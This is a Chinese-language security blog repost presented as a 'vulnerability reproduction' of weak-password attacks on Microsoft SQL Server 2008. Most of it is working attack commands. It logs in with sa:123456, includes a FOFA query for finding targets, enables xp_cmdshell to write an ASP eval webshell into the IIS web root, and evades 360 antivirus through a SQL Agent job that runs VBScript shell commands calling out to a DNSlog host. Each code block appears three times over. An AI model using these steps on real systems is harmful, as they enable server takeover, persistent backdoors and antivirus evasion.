本文转载于公众号:融云攻防实验室,原文地址:
漏洞复现-MSSQL 2008弱口令利用
0x01 阅读须知
资源来源于网络,安全小天地只是再次进行分享,使用请遵循本站的免责申明
0x02 漏洞描述
MSSQL是指微软的SQLServer数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。当MSSQL数据库管理员账号对应密码的长度太短或者复杂度不够,仅包含数字,或仅包含字母等,攻击者可以利用弱口令直接登录系统,获取系统权限。
![图片[1]--MSSQL 2008弱口令利用-安全小天地](https://img.godyu.com/2023/12/20231226125400847.png?imageView2/0/format/webp/q/75)
0x03 漏洞复现
漏洞环境:Microsoft SQL Server 2008 (RTM) – 10.0.1600.22 (X64)
FOFA: “sqlserver”
1.通过弱口令sa:123456进入数据库,查看数据库版本
select @@versionselect @@versionselect @@version
![图片[2]--MSSQL 2008弱口令利用-安全小天地](https://img.godyu.com/2023/12/20231226205401715.png?imageView2/0/format/webp/q/75)
2.查看路径,可以看到inetpub路径,那么就可以遍历目录推断出web路径C:\\inetpub\\wwwroot
execute master..xp_dirtree \'c:\\\',1,1 --execute master..xp_dirtree \'c:\\\',1,1 --execute master..xp_dirtree \'c:\\\',1,1 --
![图片[3]--MSSQL 2008弱口令利用-安全小天地](https://img.godyu.com/2023/12/20231226205401236.png?imageView2/0/format/webp/q/75)
3.通过xp_cmdshell,写入webshell成功,如下(xp_cmdshell 扩展存储过程将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出,但是如果有360一般不能执行)
-- 查询是否存在xp_cmdshellselect count(*) from master.dbo.sysobjects where xtype = \'x\' AND name=\'xp_cmdshell\'-- 启用xp_cmdshellEXEC sp_configure \'show advanced options\', 1;RECONFIGURE;EXEC sp_configure \'xp_cmdshell\', 1;RECONFIGURE;-- 执行命令EXEC master.dbo.xp_cmdshell \'echo ^<^%^@Page Language=^\"^Jscript^\"^%^>^<^%^eval(Request.Item^[^\"cc^\"^]^,^\"unsafe^\")^;^%^>>C:\\inetpub\\wwwroot\\1.asp\'--# 注意!如果echo 里面的字符有引号和其他符号,那么我们就要在引号前面加一个 ^ 来转义它!记得用单引号包裹里面的一句话!-- 查询是否存在xp_cmdshell select count(*) from master.dbo.sysobjects where xtype = \'x\' AND name=\'xp_cmdshell\' -- 启用xp_cmdshell EXEC sp_configure \'show advanced options\', 1; RECONFIGURE; EXEC sp_configure \'xp_cmdshell\', 1; RECONFIGURE; -- 执行命令 EXEC master.dbo.xp_cmdshell \'echo ^<^%^@Page Language=^\"^Jscript^\"^%^>^<^%^eval(Request.Item^[^\"cc^\"^]^,^\"unsafe^\")^;^%^>>C:\\inetpub\\wwwroot\\1.asp\'-- # 注意!如果echo 里面的字符有引号和其他符号,那么我们就要在引号前面加一个 ^ 来转义它!记得用单引号包裹里面的一句话!-- 查询是否存在xp_cmdshell select count(*) from master.dbo.sysobjects where xtype = \'x\' AND name=\'xp_cmdshell\' -- 启用xp_cmdshell EXEC sp_configure \'show advanced options\', 1; RECONFIGURE; EXEC sp_configure \'xp_cmdshell\', 1; RECONFIGURE; -- 执行命令 EXEC master.dbo.xp_cmdshell \'echo ^<^%^@Page Language=^\"^Jscript^\"^%^>^<^%^eval(Request.Item^[^\"cc^\"^]^,^\"unsafe^\")^;^%^>>C:\\inetpub\\wwwroot\\1.asp\'-- # 注意!如果echo 里面的字符有引号和其他符号,那么我们就要在引号前面加一个 ^ 来转义它!记得用单引号包裹里面的一句话!
![图片[4]--MSSQL 2008弱口令利用-安全小天地](https://img.godyu.com/2023/12/20231226205402147.png?imageView2/0/format/webp/q/75)
4.由于会被360拦截,我们换一种方式
![图片[5]--MSSQL 2008弱口令利用-安全小天地](https://img.godyu.com/2023/12/20231226205403303.png?imageView2/0/format/webp/q/75)
5.使用AgentJob 360不会拦截,但是没有回显,我们使用vbscript方式执行ping命令pingDNSlog服务,DNSlog服务收到ping,如图:
(注:Express版本的SQL Server不支持Agent服务,开发版或者企业版才支持,而且利用AgentJob需要开启SQL Agent服务)
#注:vb_job16会有缓存,需批量替换修改成任意名字USE msdb;EXEC dbo.sp_add_job @job_name = N\'vb_job16\' ;EXEC sp_add_jobstep@job_name = N\'vb_job16\',@step_name = N\'vb_step\',@subsystem = N\'ACTIVESCRIPTING\',@command=N\'FUNCTION Main()dim shellset shell= CreateObject (\"WScript.Shell\")shell.run(\"c:\\windows\\system32\\cmd.exe /c ping xx.1eb20164ecd7fc421cxxxx8d5527667.xx.org\")set shell = nothingEND FUNCTION\',@database_name = \"VBScript\",@retry_attempts = 1,@retry_interval = 5;EXEC dbo.sp_add_jobserver @job_name = N\'vb_job16\';EXEC dbo.sp_start_job N\'vb_job16\';#注:vb_job16会有缓存,需批量替换修改成任意名字 USE msdb; EXEC dbo.sp_add_job @job_name = N\'vb_job16\' ; EXEC sp_add_jobstep @job_name = N\'vb_job16\', @step_name = N\'vb_step\', @subsystem = N\'ACTIVESCRIPTING\', @command=N\'FUNCTION Main() dim shell set shell= CreateObject (\"WScript.Shell\") shell.run(\"c:\\windows\\system32\\cmd.exe /c ping xx.1eb20164ecd7fc421cxxxx8d5527667.xx.org\") set shell = nothing END FUNCTION\', @database_name = \"VBScript\", @retry_attempts = 1, @retry_interval = 5; EXEC dbo.sp_add_jobserver @job_name = N\'vb_job16\'; EXEC dbo.sp_start_job N\'vb_job16\';#注:vb_job16会有缓存,需批量替换修改成任意名字 USE msdb; EXEC dbo.sp_add_job @job_name = N\'vb_job16\' ; EXEC sp_add_jobstep @job_name = N\'vb_job16\', @step_name = N\'vb_step\', @subsystem = N\'ACTIVESCRIPTING\', @command=N\'FUNCTION Main() dim shell set shell= CreateObject (\"WScript.Shell\") shell.run(\"c:\\windows\\system32\\cmd.exe /c ping xx.1eb20164ecd7fc421cxxxx8d5527667.xx.org\") set shell = nothing END FUNCTION\', @database_name = \"VBScript\", @retry_attempts = 1, @retry_interval = 5; EXEC dbo.sp_add_jobserver @job_name = N\'vb_job16\'; EXEC dbo.sp_start_job N\'vb_job16\';
![图片[6]--MSSQL 2008弱口令利用-安全小天地](https://img.godyu.com/2023/12/20231226205405475.png?imageView2/0/format/webp/q/75)
THE END
暂无评论内容